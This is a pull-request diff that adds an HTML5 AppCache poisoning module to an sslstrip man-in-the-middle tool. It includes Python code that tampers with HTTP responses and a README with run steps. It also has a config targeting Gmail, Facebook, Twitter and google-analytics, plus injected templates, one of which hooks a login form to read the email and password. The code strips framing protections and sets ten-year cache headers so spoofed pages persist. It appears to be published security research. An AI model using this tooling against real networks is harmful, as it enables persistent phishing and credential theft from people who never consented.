Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions README
Original file line number Diff line number Diff line change
@@ -1,6 +1,13 @@
sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping
attacks.

This fork can also perform response tampering attacks.

One prepared example of tampering attack is HTML5 AppCache poisoning attack that places the
modified responses in browsers long-lasting HTML5 AppCache so that the spoofing continues
even after the victim is no longer MITMed. This functionality has been added by Krzysztof Kotowicz
<kkotowicz at gmail dot com>

It requires Python 2.5 or newer, along with the 'twisted' python module.

Installing:
Expand Down Expand Up @@ -30,3 +37,4 @@ Running:

More Info:
http://www.thoughtcrime.org/software/sslstrip/
http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html
172 changes: 172 additions & 0 deletions app_cache_poison/AppCachePoison.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,172 @@
# Copyright (c) 2004-2009 Moxie Marlinspike, Krzysztof Kotowicz
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

import logging, re, os.path, time
from datetime import date
from sslstrip.DummyResponseTamperer import DummyResponseTamperer

class AppCachePoison(DummyResponseTamperer):

'''
AppCachePosion performs HTML5 AppCache poisioning attack - see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html
'''

mass_poisoned_browsers = []

def tamper(self, url, data, headers, req_headers, ip):
if not self.isEnabled():
return data

if "enable_only_in_useragents" in self.config:
regexp = self.config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
logging.log(logging.DEBUG, "Tampering disabled in this useragent (%s)" % (req_headers["user-agent"]))
return data

urls = self.urlMonitor.getRedirectionSet(url)

(s,element,url) = self.getSectionForUrls(urls)
if not s:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
return data
logging.log(logging.WARNING, "Found URL %s in section %s" % (url, s['__name__']))
p = self.getTemplatePrefix(s)
if element == 'tamper':
logging.log(logging.WARNING, "Poisoning tamper URL with template %s" % (p))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()

elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to body
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)

# add manifest reference
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)

elif element == "manifest":
logging.log(logging.WARNING, "Poisoning manifest URL")
data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])

elif element == "raw": # raw resource to modify, it does not have to be html
logging.log(logging.WARNING, "Poisoning raw URL")
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()

elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to response body
data += appendix

self.cacheForFuture(headers)
self.removeDangerousHeaders(headers)
return data

def tryMassPoison(self, url, data, headers, req_headers, ip):
browser_id = ip + req_headers.get("user-agent", "")

if not 'mass_poison_url_match' in self.config: # no url
return data
if browser_id in self.mass_poisoned_browsers: #already poisoned
return data
if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
return data
if 'mass_poison_useragent_match' in self.config and not "user-agent" in req_headers:
return data
if not re.search(self.config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
return data
if not re.search(self.config['mass_poison_url_match'], url): #different url
return data

logging.log(logging.WARNING, "Adding AppCache mass poison for URL %s, id %s" % (url, browser_id))
appendix = self.getMassPoisonHtml()
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
return data

def getMassPoisonHtml(self):
html = "<div style=\"position:absolute;left:-100px\">"
for i in self.config:
if isinstance(self.config[i], dict):
if self.config[i].has_key('tamper_url') and not self.config[i].get('skip_in_mass_poison', False):
html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.config[i]['tamper_url'] + "\"></iframe>"

return html + "</div>"

def cacheForFuture(self, headers):
ten_years = 315569260
headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
in_ten_years = date.fromtimestamp(time.time() + ten_years)
headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])

def removeDangerousHeaders(self, headers):
headers.removeHeader("X-Frame-Options")

def getSpoofedManifest(self, url, section):
p = self.getTemplatePrefix(section)
if not os.path.exists(p+'.manifest'):
p = self.getDefaultTemplatePrefix()

f = open(p + '.manifest', 'r')
manifest = f.read()
f.close()
return self.decorate(manifest, section)

def decorate(self, content, section):
for i in section:
content = content.replace("%%"+i+"%%", section[i])
return content

def getTemplatePrefix(self, section):
if section.has_key('templates'):
return self.config['templates_path'] + '/' + section['templates']

return self.getDefaultTemplatePrefix()

def getDefaultTemplatePrefix(self):
return self.config['templates_path'] + '/default'

def getManifestUrl(self, section):
return section.get("manifest_url",'/robots.txt')

def getSectionForUrls(self, urls):
for url in urls:
for i in self.config:
if isinstance(self.config[i], dict): #section
section = self.config[i]
if section.get('tamper_url',False) == url:
return (section, 'tamper',url)
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
return (section, 'tamper',url)
if section.get('manifest_url',False) == url:
return (section, 'manifest',url)
if section.get('raw_url',False) == url:
return (section, 'raw',url)

return (False,'',urls.copy().pop())

44 changes: 44 additions & 0 deletions app_cache_poison/README
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
I've modified sslstrip to be able to tamper with server responses.

One prepared example of tampering attack is HTML5 AppCache poisoning attack that places the
modified responses in browsers long-lasting HTML5 AppCache so that the spoofing continues
even after the victim is no longer MITMed.

Exemplary response tampering with HTML AppCachePoison:

1) python sslstrip.py -t app_cache_poison/config.ini

2) While under MITM, visit http://example.com to display tampered content

3) Visit http://www.facebook.com in AppCache supporting browser (Chrome, Firefox, Opera, Safari).
In Firefox you have to agree to store offline content, Chrome does not display any confirmations.

4) Stop MITM, restart browser, go for coffee or holidays

5) Visit http://www.facebook.com again - the spoofed content is still there!

As a bonus, once google analytics HTTP version will be requested, the spoofed content of it will be cached for 10 years.


EASY LOCAL TESTING MITM (for Ubuntu systems):

# create sslstrip admin user

# forward local traffic
$ sudo ./testmitm.sh start `id -u sslstrip`

# run sslstrip to hijack traffic
$ chown -R sslstrip /path/to/sslstrip/
$ su sslstrip
$ python sslstrip.py -t app_cache_poison/config.ini -p

# stop
$ sudo ./testmitm.sh stop


More info:
http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html

This functionality has been added by Krzysztof Kotowicz
<kkotowicz at gmail dot com>

Empty file added app_cache_poison/__init__.py
Empty file.
57 changes: 57 additions & 0 deletions app_cache_poison/config.ini
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
[DEFAULT]
; HTML5 AppCache poisioning attack
; see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html for description of the attack.
; generic settings for tampering engine

enabled=True
tamper_class=app_cache_poison.AppCachePoison
;all settings below are specific for AppCachePoison

templates_path=app_cache_poison/templates
;enable_only_in_useragents=Chrome|Firefox

; when visiting first url matching following expression we will embed iframes with all tamper URLs
;(to poison the cache for all of them all at once)
mass_poison_url_match=http://.*prezydent\.pl.*
; it's only useful to mass poison chrome because:
; - it supports iframe sandbox preventing framebusting
; - does not ask for confirmation
mass_poison_useragent_match=Chrome|Safari

[test]
; any //example.com URL redirects to iana and will display our spoofed content
tamper_url=http://example.com/
manifest_url=http://www.iana.org/robots.txt ;use existing static URL that is rarely seen by the browser user, but exists on the server (no 404!)
templates=test ; which templates to use for spoofing content?
skip_in_mass_poison=1

; use absolute URLs - system tracks 30x redirects, so you can put any URL that belongs to the redirection loop here
[gmail]
tamper_url=http://mail.google.com/mail/
; manifest has to be of last domain in redirect loop
manifest_url=http://mail.google.com/robots.txt
templates=default ; could be omitted

[facebook]
tamper_url=http://www.facebook.com/
manifest_url=http://www.facebook.com/robots.txt
templates=facebook ; use different template

[twitter]
tamper_url=http://twitter.com/
;tamper_url_match=^http://(www\.)?twitter\.com/$
manifest_url=http://twitter.com/robots.txt

[testing]
tamper_url=http://www.html5rocks.com/en/
manifest_url=http://www.html5rocks.com/robots.txt

; we can also modify non-HTML URLs to append malicious code to them
; but for them to be cached in HTML5 AppCache they need to be referred in
; manifest for a poisoned domain
; if not, they are "only" cached for 10 years :D
[ga]
raw_url=http://www.google-analytics.com/ga.js
templates=script
skip_in_mass_poison=1
;you can add other scripts in additional sections like jQuery etc.
38 changes: 38 additions & 0 deletions app_cache_poison/templates/default.append
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
<style type="text/css" media="screen">
.aribbon {
background-color: #a00;
overflow: hidden;
z-index: 1000;
/* top left corner */
position: absolute;
left: -3em;
top: 2.5em;
/* 45 deg ccw rotation */
-moz-transform: rotate(-45deg);
-webkit-transform: rotate(-45deg);
/* shadow */
-moz-box-shadow: 0 0 1em #888;
-webkit-box-shadow: 0 0 1em #888;
}
.aribbon a {
border: 1px solid #faa;
color: #fff;
display: block;
font: bold 81.25% 'Helvetiva Neue', Helvetica, Arial, sans-serif;
margin: 0.05em 0 0.075em 0;
padding: 0.5em 3.5em;
text-align: center;
text-decoration: none;
/* shadow */
text-shadow: 0 0 0.5em #444;
}
</style>
<div class="aribbon">
<a href="https://github.com/koto/sslstrip">
AppCache poisoned
</a>
</div>
<div style="padding: 1em;border:1px solid red;margin:1em">
<h1>AppCache Poison works!</h1>
<p><code>%%tamper_url%%</code> page is spoofed with <a href="https://github.com/koto/sslstrip">AppCache Poison</a> by <a href="http://blog.kotowicz.net">Krzysztof Kotowicz</a>, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.</p>
</div>
8 changes: 8 additions & 0 deletions app_cache_poison/templates/default.manifest
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
CACHE MANIFEST
CACHE:
%%tamper_url%%
http://www.google-analytics.com/ga.js
NETWORK:
*
http://*
https://**
46 changes: 46 additions & 0 deletions app_cache_poison/templates/facebook.append
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
<style type="text/css" media="screen">
.aribbon {
background-color: #a00;
overflow: hidden;
z-index: 1000;
/* top left corner */
position: absolute;
left: -3em;
top: 2.5em;
/* 45 deg ccw rotation */
-moz-transform: rotate(-45deg);
-webkit-transform: rotate(-45deg);
/* shadow */
-moz-box-shadow: 0 0 1em #888;
-webkit-box-shadow: 0 0 1em #888;
}
.aribbon a {
border: 1px solid #faa;
color: #fff;
display: block;
font: bold 81.25% 'Helvetiva Neue', Helvetica, Arial, sans-serif;
margin: 0.05em 0 0.075em 0;
padding: 0.5em 3.5em;
text-align: center;
text-decoration: none;
/* shadow */
text-shadow: 0 0 0.5em #444;
}
</style>
<div class="aribbon">
<a href="https://github.com/koto/sslstrip">
AppCache poisoned
</a>
</div>
<div style="padding: 1em;border:1px solid red;margin:1em">
<h1>We work on Facebook too!</h1>
<p><code>%%tamper_url%%</code> page is spoofed with <a href="https://github.com/koto/sslstrip">AppCache Poison</a> by <a href="http://blog.kotowicz.net">Krzysztof Kotowicz</a>, but this is just a default content. To replace it, create <code>facebook.append</code> or <code>facebook.replace</code> file and add your content there.</p>
</div>
<script>
var f = document.getElementById('login_form').onsubmit;
document.getElementById('login_form').onsubmit = function() {
alert("Hello, " + document.getElementById('email').value + ' ' + document.getElementById('pass').value);
return Event.__inlineSubmit(this,event);
}
</script>

7 changes: 7 additions & 0 deletions app_cache_poison/templates/facebook.manifest
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
CACHE MANIFEST
CACHE:
%%tamper_url%%
NETWORK:
*
http://*
https://**
Loading